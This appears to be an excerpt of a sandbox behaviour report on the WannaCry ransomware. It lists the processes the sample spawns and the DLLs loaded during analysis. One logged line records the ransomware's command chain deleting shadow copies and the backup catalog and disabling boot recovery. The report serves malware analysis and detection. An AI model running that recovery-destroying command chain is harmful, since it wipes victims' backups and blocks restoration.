Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe vs	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cscript.exe cscript.exe //nologo m.vbs	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\System32\consent.exe consent.exe 6008 686 000002152F62E5C0	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 7551728024260.bat	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\SysWOW64\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\taskdl.exe taskdl.exe	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Process created: C:\Users\user\Desktop\@WanaDecryptor@.exe @WanaDecryptor@.exe	Jump to behavior

Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Program Files\7-Zip\7zG.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: msvcp60.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\WannaCry.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\SysWOW64\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositoryclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: biwinrt.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vccorlib140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: msvcp140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: vcruntime140_1_app.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: winrttracing.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wpnapps.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.applicationdata.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.applicationmodel.background.timebroker.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.web.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: biwinrt.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.staterepositorycore.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: wincorlib.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\backgroundTaskHost.exe	Section loaded: cabinet.dll
